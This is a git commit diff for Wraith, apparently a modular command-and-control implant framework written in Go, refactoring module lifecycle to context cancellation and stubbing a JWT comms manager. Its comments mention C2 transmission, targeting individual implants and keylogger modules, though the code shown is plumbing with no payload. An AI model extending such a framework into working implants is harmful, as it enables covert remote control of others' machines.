Much simplification

Primarily by switching to context for lifecycle control
indev
0x1a8510f2 8 months ago
parent c2acb316f8
commit af1d746498
Signed by: 0x1a8510f2
GPG Key ID: 1C692E355D76775D
  1. 3
      .gitignore
  2. 10
      wraith/libwraith/Config.go
  3. 27
      wraith/libwraith/Const.go
  4. 44
      wraith/libwraith/Mod.go
  5. 74
      wraith/libwraith/Module.go
  6. 36
      wraith/libwraith/Shm.go
  7. 331
      wraith/libwraith/Wraith.go
  8. 112
      wraith/stdmod/commsManager_(DefaultJWTCommsManager).go
  9. 35
      wraith/wraith.go

3
.gitignore vendored

@ -1,2 +1 @@
.vscode/*
frontmatter.json
.vscode/*

@ -1,5 +1,7 @@
package libwraith
import "time"
// A struct providing configuration options for Wraith to allow
// for altering behaviour without altering the code.
type Config struct {
@ -17,4 +19,12 @@ type Config struct {
// and changes on every Wraith restart, or a string based on some
// information such as MAC Address+Wraith PID.
FingerprintGenerator func() string
ModuleCrashloopDetectCount int
ModuleCrashloopDetectTime time.Duration
}
func (c *Config) Set() {}
func (c *Config) Get() {}

@ -1,33 +1,8 @@
package libwraith
// Wraith status codes for use in SHM_WRAITH_STATUS
const (
// Wraith is not running
WSTATUS_INACTIVE = iota
// Wraith is running correctly
WSTATUS_ACTIVE
// Wraith is shutting down
WSTATUS_DEACTIVATING
// Wraith has exited with a fatal error
WSTATUS_ERROR
)
// Reserved locations in the shared memory with special purposes
// All other locations should be namespaced
const (
// This cell forces Wraith to stop and restart all modules whenever
// it is written to. The value is irrelevant. It can be written to
// by any component.
SHM_RELOAD_TRIGGER = "reloadTrigger"
// This cell contains the current status of Wraith as defined by the
// STATUS_ constants. It MUST NOT be written to by any component other
// than Wraith itself.
SHM_WRAITH_STATUS = "status"
// This cell stores data which is to be transmitted to C2. This data
// should be managed and directed to individual comms modules by the
// MOD_COMMS_MANAGER module, hence only that module should really read
@ -45,6 +20,8 @@ const (
// write to the TX/RX queue cells if this value is falsey or nil as
// their messages can get lost.
SHM_COMMS_READY = "commsReady"
SHM_ERRS = "err"
)
// Reserved module names for modules with special purposes

@ -0,0 +1,44 @@
package libwraith
import "context"
// An interface describing the structure of a Wraith Module
type mod interface {
// Start the module's mainloop. This is called whenever Wraith decides the
// module should be running and is guaranteed to be called once for the lifetime
// of the wraith.
//
// The method runs asynchronously and should block indefinitely (never return)
// unless its context is cancelled. If this method returns or panics and the context
// is not cancelled, it will be assumed to have crashed and will be restarted
// immediately unless 3 crashes occur in 1 minute at which point it will no longer
// be restarted until Wraith is.
//
// The method receives 2 arguments: a context which, when cancelled, should
// cause the mainloop to exit (return); and a pointer to the module's parent
// Wraith instance for communication purposes.
//
// Any errors should ideally be handled within the method and not propagate
// up the stack; however, if an error cannot be handled, it should be returned.
// It may be worth noting though that, as modules can be very diverse, Wraith
// is unable to correctly handle module errors and will resort to taking note
// of them (for possible sending to C2 later) and moving on.
Mainloop(context.Context, *Wraith) error
// Return a string representing the name of the module. This is used to
// generate a map of modules and their names to allow for easy listing,
// and management of modules.
//
// The method should consist of only a single return statement with a
// hard-coded string.
//
// Module names should be globally unique. Multiple modules using the same
// name will clash and only one of them will actually be activated.
// Because of this, module name namespacing is highly recommended. For
// example, the name "keylogger" is bad, because it's likely to be used by
// multiple modules. Instead, "io.github.user.keylogger" could be used.
//
// Official modules use the special `w` namespace. Unofficial modules MUST NOT
// use this namespace.
WraithModuleName() string
}

@ -1,74 +0,0 @@
package libwraith
// An interface describing the structure of a Wraith Module
type Module interface {
// Initialise the module. This is called as soon as Wraith is made aware
// of a module and will only ever be called once on any instance of
// the module.
//
// The argument is a pointer to the Wraith struct which owns the module.
// This is used for communication purposes and to allow the module to
// control Wraith, so it should be saved for the lifetime of the module
// if needed.
//
// This method is called synchronously and will block further execution,
// so long-running tasks should be started as goroutines.
//
// The module should *NOT* run its mainloop here (if any) as this is
// handled by the `Start()` method, which runs asynchronously.
//
// If anything within this method has the potential to error and may need
// handling, it likely shouldn't be in this method, but in the `Start()`
// method instead. This method's primary purpose is to initialise
// properties and save the Wraith pointer, which shouldn't cause errors.
WraithModuleInit(*Wraith)
// Start the module's mainloop. This is called when Wraith decides the
// module should be running and can be called multiple times. Usually,
// this is after the module is already stopped, but this is not guaranteed
// to be the case so the method should be robust against multiple calls
// and only start a single instance.
//
// The method runs synchronously so it should exit as soon as possible and
// start the mainloop in a goroutine.
//
// Any errors should ideally be handled within the method and not
// propagate up the stack. As modules can be very diverse, Wraith
// is unable to correctly handle module start errors and will resort
// to taking note of them and moving on.
Start() error
// Stop the module's mainloop. This is called in various situations
// including when Wraith or the host is shutting down, or if the module
// is deemed unnecessary for the time being.
//
// The method runs synchronously so it should exit as soon as it is
// certain the mainloop has exited.
//
// Any errors should ideally be handled within the method and not
// propagate up the stack. As modules can be very diverse, Wraith
// is unable to correctly handle module start errors and will resort
// to taking note of them and moving on.
//
// Modules must comply with the stop request as not to cause unexpected
// behaviour. In the case of host or Wraith shutdown, the main Wraith
// process may begin teardown, causing the module to fail in unexpected
// ways.
Stop() error
// Return a string representing the name of the module. This is used to
// generate a map of modules and their names to allow for easy listing,
// enabling and disabling of modules.
//
// The method should be a single-line return statement with a hard-coded
// string.
//
// Module names should be globally unique. Multiple modules using the same
// name will clash and only one of them will actually be activated.
// Because of this, module name namespacing is highly recommended. For
// example, the name "keylogger" is bad, because it's likely to be used by
// multiple modules. Instead, "io.github.user.keylogger" could be used.
//
// Official modules use the `w` namespace.
Name() string
}

@ -11,7 +11,7 @@ import (
// interaction with the shared memory (ie. watchers can be
// handled by the cell and don't need to be kept track of by
// the memory).
type sharedMemoryCell struct {
type shmCell struct {
data interface{}
watchers map[int]chan interface{}
watcherCounter int
@ -20,7 +20,7 @@ type sharedMemoryCell struct {
// Initialise the cell so that it's useable. Calling the cell's other
// methods before this one can lead to panics. This should be called
// exactly once as each consecutive call effectively wipes the cell.
func (c *sharedMemoryCell) init() {
func (c *shmCell) init() {
c.watchers = make(map[int]chan interface{})
c.watcherCounter = 0
}
@ -39,7 +39,7 @@ func (c *sharedMemoryCell) init() {
// Pushes time out after SHARED_MEMORY_WATCHER_NOTIF_TIMEOUT seconds,
// so if a channel is full for longer than that, the watcher which
// owns that channel will not receive that update.
func (c *sharedMemoryCell) notify() {
func (c *shmCell) notify() {
wg := sync.WaitGroup{}
wg.Add(len(c.watchers))
@ -76,14 +76,14 @@ func (c *sharedMemoryCell) notify() {
// Set the value of the cell to that passed as the argument. This
// will also notify all watchers of the change.
func (c *sharedMemoryCell) set(value interface{}) {
func (c *shmCell) set(value interface{}) {
c.data = value
c.notify()
}
// Get the current value of the cell.
func (c *sharedMemoryCell) get() (value interface{}) {
func (c *shmCell) get() (value interface{}) {
return c.data
}
@ -91,7 +91,7 @@ func (c *sharedMemoryCell) get() (value interface{}) {
// that the channel will receive the value of this cell whenever it
// changes. Returns the assigned ID of the channel which can be
// used to unwatch the cell.
func (c *sharedMemoryCell) watch(channel chan interface{}) int {
func (c *shmCell) watch(channel chan interface{}) int {
defer func() { c.watcherCounter++ }()
c.watchers[c.watcherCounter] = channel
@ -102,24 +102,24 @@ func (c *sharedMemoryCell) watch(channel chan interface{}) int {
// Remove a channel from the list of watchers from this cell. This
// means that the channel will no longer receive updates when the
// value of this cell changes. Takes the ID returned by Watch().
func (c *sharedMemoryCell) unwatch(id int) {
func (c *shmCell) unwatch(id int) {
delete(c.watchers, id)
}
// A struct for sharing memory between modules and Wraith in a
// thread-safe way while providing facilities to watch individual
// memory cells for updates.
type SharedMemory struct {
type shm struct {
isPostInit bool
mutex sync.Mutex
mem map[string]*sharedMemoryCell
mem map[string]*shmCell
}
// Initialise the SM if it's not already initialised. This requires
// a lock, but assumes that this is handled by the caller.
func (m *SharedMemory) initIfNot() {
func (m *shm) initIfNot() {
if !m.isPostInit {
m.mem = make(map[string]*sharedMemoryCell)
m.mem = make(map[string]*shmCell)
m.isPostInit = true
}
}
@ -127,21 +127,21 @@ func (m *SharedMemory) initIfNot() {
// Lock the mutex and return the function to unlock it. This
// allows for a simple, one-liner to lock and unlock the mutex
// at the top of every method like so: `defer m.autolock()()`.
func (m *SharedMemory) autolock() func() {
func (m *shm) autolock() func() {
m.mutex.Lock()
return m.mutex.Unlock
}
// Create and init a cell with the given name and return its pointer.
func (m *SharedMemory) createcell(name string) *sharedMemoryCell {
m.mem[name] = &sharedMemoryCell{}
func (m *shm) createcell(name string) *shmCell {
m.mem[name] = &shmCell{}
m.mem[name].init()
return m.mem[name]
}
// Set the value of the given cell to that passed as the argument.
// This will also notify all watchers of the change.
func (m *SharedMemory) Set(cellName string, value interface{}) {
func (m *shm) Set(cellName string, value interface{}) {
defer m.autolock()()
m.initIfNot()
@ -156,7 +156,7 @@ func (m *SharedMemory) Set(cellName string, value interface{}) {
}
// Get the current value of a given cell.
func (m *SharedMemory) Get(cellName string) interface{} {
func (m *shm) Get(cellName string) interface{} {
defer m.autolock()()
m.initIfNot()
@ -176,7 +176,7 @@ func (m *SharedMemory) Get(cellName string) interface{} {
// allow watching for cells to be created in the future. Returns
// the channel which will receive updates and the ID assigned to that
// channel which can be used to unwatch the cell.
func (m *SharedMemory) Watch(cellName string) (channel chan interface{}, watchId int) {
func (m *shm) Watch(cellName string) (channel chan interface{}, watchId int) {
defer m.autolock()()
m.initIfNot()
@ -199,7 +199,7 @@ func (m *SharedMemory) Watch(cellName string) (channel chan interface{}, watchId
// This means that the channel will no longer receive updates
// when the value of this cell changes. Takes the ID returned
// by Watch().
func (m *SharedMemory) Unwatch(cellName string, watchId int) {
func (m *shm) Unwatch(cellName string, watchId int) {
defer m.autolock()()
m.initIfNot()

@ -1,7 +1,8 @@
package libwraith
import (
"fmt"
"context"
"errors"
"sync"
"time"
)
@ -14,27 +15,35 @@ type Wraith struct {
// A fingerprint to uniquely identify this Wraith. It is
// generated on init. This helps to target individual Wraiths
// with commands, for instance.
fingerprint string
fprint string
// A bool keeping track of whether this instance of Wraith is
// running. This prevents multiple instances from being started
// and simoultaneously attempting to edit things.
running bool
runningMutex sync.Mutex
// An instance of the SharedMemory object used to facilitate
// communication between modules and Wraith.
sharedMemory SharedMemory
shm shm
// A mutex to protect access to SHM_WRAITH_STATUS. While
// SharedMemory is threadsafe for individual calls, checking
// and changing SHM_WRAITH_STATUS requires two separate calls.
statusMutex sync.Mutex
// A map keeping track of which modules are registered to
// prevent modules from being registered twice.
mods map[string]struct{}
// A mutex to protect access to Wraith.mods
modsMutex sync.RWMutex
// An instance of WraithConf storing all configuration necessary
// for Wraith to work correctly.
conf Config
// A list of modules available to Wraith
modules map[string]Module
// A copy of the context which controls Wraith's aliveness
ctx context.Context
// A mutex to protect the list of modules when modified by Wraith.Mod*
// methods
modulesMutex sync.Mutex
// A copy of the function which kills Wraith's context
ctxCancel context.CancelFunc
}
// Helper method to be deferred at the start of all Wraith methods
@ -62,18 +71,26 @@ func (w *Wraith) catch() {
// It is highly recommended to pass the comms manager module first
// (possibly preceded by modules it depends on) to make sure module
// communications are not lost.
func (w *Wraith) Spawn(conf Config, modules ...Module) {
func (w *Wraith) Spawn(conf Config, mods ...mod) {
defer w.catch()
// Make sure only one instance runs
// If another instance is in any state but inactive, exit immediately
w.statusMutex.Lock()
if status := w.sharedMemory.Get(SHM_WRAITH_STATUS); status != WSTATUS_INACTIVE && status != nil {
w.statusMutex.Unlock()
w.runningMutex.Lock()
if w.running {
w.runningMutex.Unlock()
return
}
w.sharedMemory.Set(SHM_WRAITH_STATUS, WSTATUS_ACTIVE)
w.statusMutex.Unlock()
w.running = true
w.runningMutex.Unlock()
// Prepare on-exit cleanup
defer func() {
// Mark Wraith as dead
w.runningMutex.Lock()
w.running = false
w.runningMutex.Unlock()
}()
// Take note of start time
w.initTime = time.Now()
@ -81,39 +98,15 @@ func (w *Wraith) Spawn(conf Config, modules ...Module) {
// Save a copy of the config
w.conf = conf
// Watch various special cells in shared memory
statusWatcher, _ := w.sharedMemory.Watch(SHM_WRAITH_STATUS)
reloadTrigger, _ := w.sharedMemory.Watch(SHM_RELOAD_TRIGGER)
// Create a context to control the Wraith's lifetime
w.ctx, w.ctxCancel = context.WithCancel(context.Background())
// Init map of modules
w.modules = make(map[string]Module)
// Prepare on-exit cleanup
defer func() {
// Always stop all modules before exiting
// TODO: Note errors
for _, module := range w.modules {
module.Stop()
}
// Mark Wraith as dead
w.statusMutex.Lock()
w.sharedMemory.Set(SHM_WRAITH_STATUS, WSTATUS_INACTIVE)
w.statusMutex.Unlock()
}()
w.mods = make(map[string]struct{})
// Save a copy of the passed modules in the `modules` field, using the
// module name as the key. Also init and start the modules while we're
// at it.
// TODO: Note errors
for _, module := range modules {
// Ignore duplicates
if _, exists := w.modules[module.Name()]; !exists {
w.modules[module.Name()] = module
module.WraithModuleInit(w)
module.Start()
}
}
// module name as the key. Also start the modules while we're at it.
w.ModsReg(mods...)
// Run mainloop
// This is the place where any functions which need to be
@ -122,64 +115,21 @@ func (w *Wraith) Spawn(conf Config, modules ...Module) {
// shouldn't be too much here.
for {
select {
case newStatus := <-statusWatcher:
if newStatus == WSTATUS_DEACTIVATING {
// On exit trigger (deactivating status), return from the
// method. All exit cleanup is deferred so it is guaranteed to run.
return
}
case <-reloadTrigger:
// On reload trigger, restart all modules.
// TODO: Note errors
for _, module := range w.modules {
module.Stop()
module.Start()
}
case <-w.ctx.Done():
return
}
}
}
// Stop the Wraith instance including all modules. This will
// block until Wraith exits or the provided timeout is reached.
// If the timeout is reached, the method will return false to
// show that it was unable to confirm Wraith's exit.
func (w *Wraith) Kill(timeout time.Duration) bool {
defer w.catch()
w.statusMutex.Lock()
// Trigger exit of mainloop if it's running, otherwise there's nothing to do
if status := w.sharedMemory.Get(SHM_WRAITH_STATUS); status == WSTATUS_ACTIVE {
// Watch the SHM_WRAITH_STATUS cell to catch when Wraith exits, and
// unwatch it straight after we return
statusWatch, statusWatchId := w.sharedMemory.Watch(SHM_WRAITH_STATUS)
defer w.sharedMemory.Unwatch(SHM_WRAITH_STATUS, statusWatchId)
// Trigger exit
w.sharedMemory.Set(SHM_WRAITH_STATUS, WSTATUS_DEACTIVATING)
// Unlock mutex so Wraith can transition into inactive state
// avoiding deadlock
w.statusMutex.Unlock()
// Wait for exit or timeout
timeoutTimer := time.After(timeout)
for {
select {
case status := <-statusWatch:
if status == WSTATUS_INACTIVE {
return true
}
case <-timeoutTimer:
return false
}
}
// If the Wraith is running, this method will kill it and its modules by
// cancelling the Wraith's context. Otherwise it's a no-op.
func (w *Wraith) Kill() {
// If Wraith is not active, do nothing
if w.ctx == nil || w.ctx.Err() != nil || w.ctxCancel == nil {
return
}
w.statusMutex.Unlock()
// Wraith is not running anyway so return true
return true
w.ctxCancel()
}
//
@ -211,137 +161,138 @@ func (w *Wraith) GetInitTime() time.Time {
func (w *Wraith) GetFingerprint() string {
defer w.catch()
if w.fingerprint == "" {
w.fingerprint = w.conf.FingerprintGenerator()
if w.fprint == "" {
w.fprint = w.conf.FingerprintGenerator()
}
return w.fingerprint
return w.fprint
}
// SharedMemory
// Proxy to SharedMemory.Get()
// Disallows reading from protected cells.
func (w *Wraith) SHMGet(cellname string) interface{} {
defer w.catch()
return w.sharedMemory.Get(cellname)
return w.shm.Get(cellname)
}
// Proxy to SharedMemory.Set()
// Disallows writing to protected cells and returns an error
// if a write to such is attempted.
func (w *Wraith) SHMSet(cellname string, value interface{}) error {
// Disallows writing to protected cells.
func (w *Wraith) SHMSet(cellname string, value interface{}) {
defer w.catch()
for _, protectedCell := range []string{
SHM_WRAITH_STATUS,
} {
if cellname == protectedCell {
return fmt.Errorf("%s is a protected cell", cellname)
}
}
w.sharedMemory.Set(cellname, value)
return nil
w.shm.Set(cellname, value)
}
// Proxy to SharedMemory.Watch()
func (w *Wraith) SHMWatch(cellname string) (chan interface{}, int) {
defer w.catch()
return w.sharedMemory.Watch(cellname)
return w.shm.Watch(cellname)
}
// Proxy to SharedMemory.Unwatch()
func (w *Wraith) SHMUnwatch(cellname string, watchId int) {
defer w.catch()
w.sharedMemory.Unwatch(cellname, watchId)
w.shm.Unwatch(cellname, watchId)
}
// Modules
// Get a list of available modules
func (w *Wraith) ModGet() []string {
defer w.catch()
w.modulesMutex.Lock()
defer w.modulesMutex.Unlock()
mods := make([]string, len(w.modules))
index := 0
for modname := range w.modules {
mods[index] = modname
index++
}
return mods
}
// Add a module to the list of available modules
// Note that unlike the modules passed to Wraith.Spawn(),
// this module will not be started automatically.
func (w *Wraith) ModAdd(mod Module) error {
defer w.catch()
w.modulesMutex.Lock()
defer w.modulesMutex.Unlock()
modname := mod.Name()
if _, exists := w.modules[modname]; exists {
return fmt.Errorf("module %s already exists", modname)
// The modules are started automatically
// Panics if Wraith is not running by the time this method is called
func (w *Wraith) ModsReg(mods ...mod) {
if !w.running || w.ctx == nil || w.ctx.Err() != nil {
panic("not running")
}
w.modules[modname] = mod
return nil
}
// Remove a module from the list of available modules
// Note that the module will not be automatically stopped and
// this should first be done by calling Wraith.ModStop().
// This is dangerous because removing some modules may cause
// Wraith to stop working - use with caution.
func (w *Wraith) ModRemove(modname string) error {
defer w.catch()
w.modulesMutex.Lock()
defer w.modulesMutex.Unlock()
if _, exists := w.modules[modname]; exists {
delete(w.modules, modname)
return nil
} else {
return fmt.Errorf("no such module %s", modname)
}
}
// Activate a module
// This does not check whether the module is already
// running. It is up to modules to ensure only one
// instance runs at a time.
func (w *Wraith) ModStart(modname string) error {
defer w.catch()
w.modulesMutex.Lock()
defer w.modulesMutex.Unlock()
if module, exists := w.modules[modname]; exists {
return module.Start()
} else {
return fmt.Errorf("no such module %s", modname)
w.modsMutex.Lock()
defer w.modsMutex.Unlock()
for _, mod := range mods {
modname := mod.WraithModuleName()
// Ignore module if already exists
if _, exists := w.mods[modname]; !exists {
w.mods[modname] = struct{}{}
// Run the module in a goroutine
go func() {
// Keep track of when and how many times the module has crashed
// as not to re-start crashlooped modules.
var moduleCrashCount int
var lastModuleCrashTime time.Time
for {
// Create a context derived from Wraith's context to control the
// module's lifetime
moduleCtx, moduleCtxCancel := context.WithCancel(w.ctx)
defer moduleCtxCancel()
// Run the module and catch any panics or errors
err := func() (err error) {
defer func() {
if r := recover(); r != nil {
rstr, ok := r.(string)
if ok {
err = errors.New(rstr)
} else {
err = errors.New("panic")
}
}
}()
return mod.Mainloop(moduleCtx, w)
}()
// If there were some errors, report them
if err != nil {
w.SHMSet(SHM_ERRS, err)
}
// If Wraith has exited, do not restart the module
if !w.running || w.ctx == nil || w.ctx.Err() != nil {
return
}
// Clear crash count if the last crash was a long time ago
if time.Since(lastModuleCrashTime) > w.conf.ModuleCrashloopDetectTime {
moduleCrashCount = 0
}
// We have gotten here so the module has crashed and it wasn't
// supposed to. Note that down.
moduleCrashCount += 1
lastModuleCrashTime = time.Now()
// If the crash count has exceeded the max, do not restart
if moduleCrashCount > w.conf.ModuleCrashloopDetectCount {
return
}
moduleCtxCancel()
}
}()
}
}
}
// Deactivate a module
// This does not check whether the module is already
// inactive. It is up to modules to ensure deactivating
// an inactive module does not cause issues.
func (w *Wraith) ModStop(modname string) error {
// Get a list of available modules
func (w *Wraith) ModsGet() []string {
defer w.catch()
w.modulesMutex.Lock()
defer w.modulesMutex.Unlock()
w.modsMutex.Lock()
defer w.modsMutex.Unlock()
if module, exists := w.modules[modname]; exists {
return module.Stop()
} else {
return fmt.Errorf("no such module %s", modname)
mods := make([]string, len(w.mods))
index := 0
for modname := range w.mods {
mods[index] = modname
index++
}
return mods
}

@ -1,9 +1,9 @@
package stdmod
import (
"context"
"fmt"
"sync"
"time"
"git.0x1a8510f2.space/0x1a8510f2/wraith/libwraith"
)
@ -14,8 +14,6 @@ import (
// particularly advanced features and is meant as a simple default which does a
// good job in most usecases.
type DefaultJWTCommsManager struct {
wraith *libwraith.Wraith
exitTrigger chan struct{}
running bool
runningMutex sync.Mutex
@ -23,29 +21,7 @@ type DefaultJWTCommsManager struct {
// TODO
}
// Spawn a channel which is triggered when the m.running condition is false
func (m *DefaultJWTCommsManager) exitChannel() chan struct{} {
exitChannel := make(chan struct{})
go func() {
// Regularly check m.running
for m.running {
// Stop the loop from spinning and using 100% CPU
<-time.After(200 * time.Millisecond)
}
}()
return exitChannel
}
func (m *DefaultJWTCommsManager) WraithModuleInit(w *libwraith.Wraith) {
// Save pointer to Wraith for future (de)reference
m.wraith = w
// Init properties
m.exitTrigger = make(chan struct{})
m.running = false // no need to lock - this is guaranteed to run before any attempts to start the module
}
func (m *DefaultJWTCommsManager) Start() error {
func (m *DefaultJWTCommsManager) Mainloop(ctx context.Context, w *libwraith.Wraith) error {
// Ensure this instance is only started once and mark as running if so
m.runningMutex.Lock()
if m.running {
@ -55,64 +31,48 @@ func (m *DefaultJWTCommsManager) Start() error {
m.running = true
m.runningMutex.Unlock()
// Start the main body of the module in a goroutine
go func() {
// Watch shm cells required by this module
txQueue, txQueueWatchId := m.wraith.SHMWatch(libwraith.SHM_TX_QUEUE)
rxQueue, rxQueueWatchId := m.wraith.SHMWatch(libwraith.SHM_RX_QUEUE)
// Always cleanup and clear running status when exiting goroutine
defer func() {
// Mark comms as not ready in shm
// Ignore err return because we know this isn't a protected cell
_ = m.wraith.SHMSet(libwraith.SHM_COMMS_READY, false)
// Unwatch cells
m.wraith.SHMUnwatch(libwraith.SHM_TX_QUEUE, txQueueWatchId)
m.wraith.SHMUnwatch(libwraith.SHM_RX_QUEUE, rxQueueWatchId)
// Mark as not running internally
m.runningMutex.Lock()
m.running = false
m.runningMutex.Unlock()
}()
// Mark comms as ready in shm
m.wraith.SHMSet(libwraith.SHM_COMMS_READY, true)
// Mainloop
for {
select {
// Trigger exit when requested
case <-m.exitTrigger:
return
// Manage transfer queue
case <-txQueue: // TODO
// Manage receive queue
case <-rxQueue: // TODO
}
}
// Always clear running status when exiting
defer func() {
// Mark as not running internally
m.runningMutex.Lock()
m.running = false
m.runningMutex.Unlock()
}()
// Return control to Wraith
return nil
}
// Watch shm cells required by this module
txQueue, txQueueWatchId := w.SHMWatch(libwraith.SHM_TX_QUEUE)
rxQueue, rxQueueWatchId := w.SHMWatch(libwraith.SHM_RX_QUEUE)
func (m *DefaultJWTCommsManager) Stop() error {
// Request exit of mainloop
m.exitTrigger <- struct{}{}
// Always cleanup SHM when exiting
defer func() {
// Mark comms as not ready in shm
// Ignore err return because we know this isn't a protected cell
w.SHMSet(libwraith.SHM_COMMS_READY, false)
// Unwatch cells
w.SHMUnwatch(libwraith.SHM_TX_QUEUE, txQueueWatchId)
w.SHMUnwatch(libwraith.SHM_RX_QUEUE, rxQueueWatchId)
}()
// Wait for mainloop to exit, with timeout
select {
case <-m.exitChannel():
return nil
case <-time.After(10 * time.Second):
return fmt.Errorf("timeout while waiting for mainloop to exit")
// Mark comms as ready in shm
w.SHMSet(libwraith.SHM_COMMS_READY, true)
// Mainloop
for {
select {
// Trigger exit when requested
case <-ctx.Done():
return nil
// Manage transfer queue
case <-txQueue: // TODO
// Manage receive queue
case <-rxQueue: // TODO
}
}
}
// Return the name of this module as libwraith.MOD_COMMS_MANAGER
func (m *DefaultJWTCommsManager) Name() string {
func (m *DefaultJWTCommsManager) WraithModuleName() string {
return libwraith.MOD_COMMS_MANAGER
}

@ -41,42 +41,19 @@ func main() {
// Create Wraith
w := libwraith.Wraith{}
// Create a channel to watch for Wraith status updates
statusUpdates, _ := w.SHMWatch(libwraith.SHM_WRAITH_STATUS)
// Start Wraith in goroutine
go w.Spawn(
libwraith.Config{
FingerprintGenerator: func() string { return "" },
},
&stdmod.DefaultJWTCommsManager{},
// &stdmod.WCommsPinecone{},
)
// Wait until Wraith starts up or time out
waitloop:
for {
select {
case status := <-statusUpdates:
if status == libwraith.WSTATUS_ACTIVE {
break waitloop
}
case <-time.After(2 * time.Second):
panic("Wraith failed to start within 2 seconds")
}
}
// Wait until the exit trigger fires
<-exitTrigger
// Wait until Wraith dies or the exit trigger fires
for {
select {
case <-exitTrigger:
// TODO: Check success
w.Kill(30 * time.Second)
case status := <-statusUpdates:
if status == libwraith.WSTATUS_INACTIVE {
return
} else if status == libwraith.WSTATUS_ERROR {
panic("Wraith exited with error status")
}
}
}
// Kill Wraith and exit
w.Kill()
time.Sleep(1 * time.Second)
}

Loading…
Cancel
Save